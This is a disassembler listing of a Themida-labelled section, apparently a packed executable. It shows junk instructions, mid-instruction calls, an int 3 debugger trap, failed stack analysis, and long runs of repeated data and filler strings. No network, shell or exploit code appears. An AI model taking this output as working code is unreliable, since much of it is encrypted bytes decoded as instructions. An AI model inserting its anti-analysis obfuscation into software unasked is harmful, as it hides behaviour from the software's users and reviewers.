dd 9448E619h, 96231185h, 86F476A1h, 8707AD9Ah
db 4Fh, 0E5h
; ---------------------------------------------------------------------------
loc_6111D2: ; CODE XREF: Themida_:006111BBj
mov al, 0Ch
sbb al, 2Dh
movzx edx, cx
jmp loc_6111F3
; ---------------------------------------------------------------------------
or dl, [ebx]
pop ds
add edi, eax
pop ebp
add ebx, [esi]
add bl, 0B1h
pop ss
xchg eax, edx
cmpsd
movsb
sal byte ptr [eax+7Fh], 63h
loc_6111F3: ; CODE XREF: Themida_:006111DAj
jbe loc_6111FC
or dh, 0D1h
loc_6111FC: ; CODE XREF: Themida_:loc_6111F3j
jbe loc_611205
movzx eax, si
loc_611205: ; CODE XREF: Themida_:loc_6111FCj
jl loc_61120C
stc
loc_61120C: ; CODE XREF: Themida_:loc_611205j
jmp loc_61121E
; ---------------------------------------------------------------------------
db 36h, 25h, 0F6h
dd 0B521A966h, 15A525EFh
db 8Dh, 7Bh
; ---------------------------------------------------------------------------
loc_61121E: ; CODE XREF: Themida_:loc_61120Cj
pusha
jg loc_611228
adc bl, 0E9h
loc_611228: ; CODE XREF: Themida_:0061121Fj
movsx ebx, bx
popa
push edi
or bh, 0C7h
pop esi
sub ecx, 0CCC76E7h
pusha
call near ptr loc_611250+1
bound edx, [ecx]
add cl, [ecx-5169B90Fh]
xchg eax, ebp
mov [edx-48h], eax
pop ebp
out dx, al
test eax, 0FDCF11F9h ; CODE XREF: Themida_:0061126Fj
loc_611250: ; CODE XREF: Themida_:00611238p
jmp near ptr 5B28D164h
; ---------------------------------------------------------------------------
clc
popa
stc
jmp loc_61126A
; ---------------------------------------------------------------------------
db 0A6h, 82h, 66h
dd 0D987C1BDh, 0A0DDAB43h
db 47h, 0E9h
; ---------------------------------------------------------------------------
loc_61126A: ; CODE XREF: Themida_:00611258j
call sub_611278
db 64h
jz short near ptr loc_61124B+4
and edi, 54h
or esp, 6Ch
; =============== S U B R O U T I N E =======================================
sub_611278 proc near ; CODE XREF: Themida_:loc_61126Ap
pop ecx
mov edi, 21426B0Fh
add si, 0B227h
jnz $+6
mov cl, bh
call near ptr loc_611293+3
pop esi
jge short near ptr loc_6112A1+2
loc_611293: ; CODE XREF: sub_611278+13p
call dword ptr [eax-3D7E9950h]
sub_611278 endp ; sp-analysis failed
sti
db 65h
pop edx
add di, 1BB6h
loc_6112A1: ; CODE XREF: sub_611278+19j
mov dx, 0DDFDh
jg loc_6112AF
pusha
pusha
popa
popa
loc_6112AF: ; CODE XREF: Themida_:006112A5j
jmp loc_6112BD
; ---------------------------------------------------------------------------
dd 0E0AC5C97h, 1E860064h
; ---------------------------------------------------------------------------
lodsd
loc_6112BD: ; CODE XREF: Themida_:loc_6112AFj
push eax
jb loc_6112C7
add ch, 57h
loc_6112C7: ; CODE XREF: Themida_:006112BEj
pop eax
mov ecx, edi
push ecx
push ecx
mov cx, 212Ah
pop esi
pop esi
sbb dx, 87BFh
jmp loc_6112E5
; ---------------------------------------------------------------------------
dd 4557F24Ah, 0C62586A9h
db 31h
; ---------------------------------------------------------------------------
loc_6112E5: ; CODE XREF: Themida_:006112D7j
mov dx, 81AFh
push edx
jno loc_611301
jmp loc_611301
; ---------------------------------------------------------------------------
std
sbb edi, 1684F197h
mov esi, 0D24F7EFFh
loc_611301: ; CODE XREF: Themida_:006112EAj
; Themida_:006112F0j
pop eax
mov dx, 3F61h
jmp loc_611315
; ---------------------------------------------------------------------------
mov ah, [eax]
pop eax
test [edi+4EE63791h], cl
inc edx
loc_611315: ; CODE XREF: Themida_:00611306j
sub edx, 10DA9AD2h
movsx edx, ax
ja loc_611336
jmp loc_611336
; ---------------------------------------------------------------------------
db 0F4h, 0, 0F6h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0B2h, 0C6h, 40h
dd 1D30FF70h
db 7Dh, 0EDh
; ---------------------------------------------------------------------------
loc_611336: ; CODE XREF: Themida_:0061131Ej
; Themida_:00611324j
jp loc_61133F
movzx ebx, di
loc_61133F: ; CODE XREF: Themida_:loc_611336j
mov esi, 23A1597Ah
clc
mov di, 687Eh
jmp loc_611357
; ---------------------------------------------------------------------------
dw 0DA0Ch
dd 28413722h
db 0FAh, 5Ah, 0D1h
; ---------------------------------------------------------------------------
loc_611357: ; CODE XREF: Themida_:00611349j
mov bh, 89h
mov si, ax
jmp loc_611371
; ---------------------------------------------------------------------------
db 36h, 0E6h, 5Fh
dd 51BB75D4h, 2C64BC22h, 843AB859h
; ---------------------------------------------------------------------------
popa
loc_611371: ; CODE XREF: Themida_:0061135Cj
mov di, dx
push esi
jmp loc_61137F
; ---------------------------------------------------------------------------
mov ebx, 4C389DA2h
loc_61137F: ; CODE XREF: Themida_:00611375j
pop eax
call near ptr loc_611389+3
arpl [esi], si
dec esi
xchg eax, edx
loc_611389: ; CODE XREF: Themida_:00611380p
mov eax, 5AF9AF0Dh
pusha
jle loc_611399
mov dx, 30C4h
loc_611399: ; CODE XREF: Themida_:0061138Fj
xor bx, 0FC1Bh
popa
movsx esi, di
sbb bh, 64h
jmp loc_6113B8
; ---------------------------------------------------------------------------
setalc
cmpsd
sub al, dl
retf 4704h
; ---------------------------------------------------------------------------
popf
or esp, ebp
add edi, esi
cmp [esi], eax
loc_6113B8: ; CODE XREF: Themida_:006113A5j
jge loc_6113D6
jmp loc_6113D6
; ---------------------------------------------------------------------------
db 0F1h
dd 0EF18B2BDh, 7499A94Eh, 72635F0h, 6C7DC276h
db 48h, 2Ah
; ---------------------------------------------------------------------------
loc_6113D6: ; CODE XREF: Themida_:loc_6113B8j
; Themida_:006113BEj
mov dl, 7Dh
pusha
sbb ax, 8555h
sbb eax, 6BA3345Fh
popa
xor dx, 0E257h
jl loc_6113F6
xor ecx, 1A007D65h
loc_6113F6: ; CODE XREF: Themida_:006113EAj
push eax
call sub_611403
sbb [edi+1Bh], bh
xchg eax, ecx
sub esi, ebp
cdq
; =============== S U B R O U T I N E =======================================
sub_611403 proc near ; CODE XREF: Themida_:006113F7p
cmc
pop ecx
pop edi
mov edx, edi
push ecx
pop esi
js loc_611414
mov ax, 68E7h
loc_611414: ; CODE XREF: sub_611403+7j
push edi
sbb cx, 0F000h
pop edx
jmp loc_61142A
; ---------------------------------------------------------------------------
dd 28B2AD87h, 1E06CE35h
db 2Dh, 91h
; ---------------------------------------------------------------------------
loc_61142A: ; CODE XREF: sub_611403+18j
add edi, 7DDB52CBh
call near ptr loc_611442+2
xor eax, 0D42E3438h
or cl, [edx+4E432BFh]
sub [esi], edx
loc_611442: ; CODE XREF: sub_611403+2Dp
or [ebx-46h], esi
sub_611403 endp ; sp-analysis failed
loopne near ptr loc_61147A+3
xor [ebx+59h], eax
add cl, 2Bh
push ecx
mov cx, 0A02Fh
pop edx
call near ptr loc_611464+3
sub byte ptr [edi+6B4F8DA1h], 40h
out dx, eax
inc esi
jz short loc_61146A
movsb
loc_611464: ; CODE XREF: Themida_:00611453p
mov al, ds:8B596504h
cli
loc_61146A: ; CODE XREF: Themida_:00611461j
mov ecx, edi
jmp loc_611477
; ---------------------------------------------------------------------------
db 94h, 2Ch, 29h
db 6Eh, 0CFh, 70h
; ---------------------------------------------------------------------------
loc_611477: ; CODE XREF: Themida_:0061146Cj
movzx edi, si
loc_61147A: ; CODE XREF: Themida_:00611445j
and eax, 42D9499Eh
mov cx, 4984h
mov dx, 0C1BFh
clc
mov dx, 0AEB0h
movzx esi, si
xor si, 0B525h
mov cx, ax
jmp loc_6114A7
; ---------------------------------------------------------------------------
db 8Fh, 0A8h, 5Ah
dd 0FE33CF27h
db 0E9h, 42h, 58h
; ---------------------------------------------------------------------------
loc_6114A7: ; CODE XREF: Themida_:00611498j
movsx ebx, dx
mov eax, 5215676Eh
jg loc_6114C4
push edi
call near ptr loc_6114C1+1
sbb [ebp+5A324D2Ah], edi
loc_6114C1: ; CODE XREF: Themida_:006114B6p
sbb [ecx+5Bh], ebx
loc_6114C4: ; CODE XREF: Themida_:006114AFj
mov edi, 40257175h
call sub_6114DF
mov eax, ds:1A9C8C6Ch
int 3 ; Trap to Debugger
jnz short near ptr byte_611519
cmpsd
; ---------------------------------------------------------------------------
db 0Fh
dd 0C85916Dh
; ---------------------------------------------------------------------------
xchg eax, ebp
loc_6114DD: ; CODE XREF: Themida_:loc_6114DDj
jg short loc_6114DD
; =============== S U B R O U T I N E =======================================
sub_6114DF proc near ; CODE XREF: Themida_:006114C9p
call near ptr loc_6114F1+4
lodsd
imul eax, [ebp-75h], 0EF79AEF2h
cdq
add al, cl
sahf
inc esp
loc_6114F1: ; CODE XREF: sub_6114DFp
bound ebx, [eax-7BF0580Fh]
sub_6114DF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0
dd 59000000h, 0F18B6658h, 9E9h, 4EFE3E00h, 0F40132CAh
dd 0B7F5A38Bh, 3265B958h, 12E83FE8h
db 0
byte_611519 db 2 dup(0), 70h ; CODE XREF: Themida_:006114D4j
dd 98B35BE2h, 0ACC8138h, 159D4132h, 579E1275h, 12E981h
dd 27450000h, 0B4480660h, 58EC7BC9h, 0CB375C30h, 46A186EDh
dd 118F0F5Ah, 0E9000000h, 0Ch, 54394C70h, 0F23C51ADh, 0B0CE3709h
dd 0C3816656h, 605E41BAh, 61DFB70Fh, 0DA16BA66h, 80CA8166h
dd 0EE80Eh, 0A6B0000h, 0E0335E7h, 0D39B7B9Eh, 1613B3C4h
dd 74EE8160h, 523FDF0Dh, 665A6158h, 0B9E2C4BAh, 4B11C839h
dd 0CE9h, 2BAE800h, 29F714E4h, 6E83EE37h, 0BE8C1h, 6070000h
dd 0DA4A5C35h, 0DA178970h, 12E93Bh, 715D0000h, 17A04D00h
dd 5C1CBBBh, 658328Bh, 207F37F0h, 810FF958h, 4, 5AF18B52h
dd 0A832BA66h, 0BEC2C381h, 80600BB1h, 0BF0F06EEh, 0DE8161F6h
dd 2C1C0F46h, 0EE8h, 70449400h, 13E31FB3h, 87B5C906h, 0E9AD340Dh
dd 10h, 9D788C7h, 0D220C422h, 7278D211h, 0D0861AFEh, 815A505Eh
dd 57EEA9DFh, 6E822h, 9F060000h, 62E5482Dh, 0BE85Fh, 832C0000h
dd 9DF9ED24h, 0CD04C81Dh, 0E3B1588Dh, 9E9h, 0A8C4EA00h
dd 0FF82A9B9h, 0FE85012h, 59000000h, 2872CA8Eh, 5ACF78F5h
dd 8A042F94h, 81664469h, 5F51B3E1h, 10E9h, 0EAE99600h
dd 6CF055E7h, 610B39ADh, 0BB8444E8h, 0BE85326h, 0F8000000h
dd 9AAF878h, 0FB22369Fh, 5850323Dh, 0EA8A585Ah, 5B82DE81h
dd 8B666E74h, 0BF0F60D7h, 4D480D7h, 0F2816661h, 0F8608FECh
dd 0FED4BF61h, 0B8603308h, 2D415F80h, 3800Fh, 8B660000h
dd 860F61DEh, 0Bh, 5840Fh, 81660000h, 0FA592E7h, 289h
dd 6084B600h, 0B7F9B70Fh, 0BF0F611Dh, 14E9C3h, 5F1F0000h
dd 696F2017h, 0C664AE37h, 1D8AE092h, 0A73AAD1Fh, 8166279Ch
dd 0E93E0AE0h, 13h, 52152892h, 66EF60C6h, 4A2A6800h, 982215B8h
dd 5753DEB1h, 0FE9h, 59B26400h, 78477916h, 0EA02B811h
dd 9CB89B42h, 97BF665Eh, 91BE566Bh, 4B5h dup(91BE5674h)
dd 0C4h dup(0B69A866Dh)
dword_612D20 dd 0Eh dup(0B69A866Dh) db 6Dh
byte_612D59 db 86h, 9Ah, 0B6h ; DATA XREF: Themida_:00582D28o
; Themida_:005847C8o ...
dd 1219736Dh, 6Bh dup(12197364h), 0EA54FA64h, 2 dup(0EA54FA2Ah)
dd 0A3DDFA2Ah, 116h dup(0A3DDB462h), 1Fh dup(242664EBh)
dd 0DCDFE9EBh, 1C6h dup(0DCDFEAA5h)
aEEEEEEEEEEEEEE db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯'
; DATA XREF: Themida_:005A9992o
db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ'
db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί'
db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά'
db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯'
db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ'
db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί'
db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά'
db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯'
db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ'
db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί'
db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά'
db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯'
db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ'
db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί'
db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά'
db '₯κίά₯κίά₯κίά₯κίά₯κΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
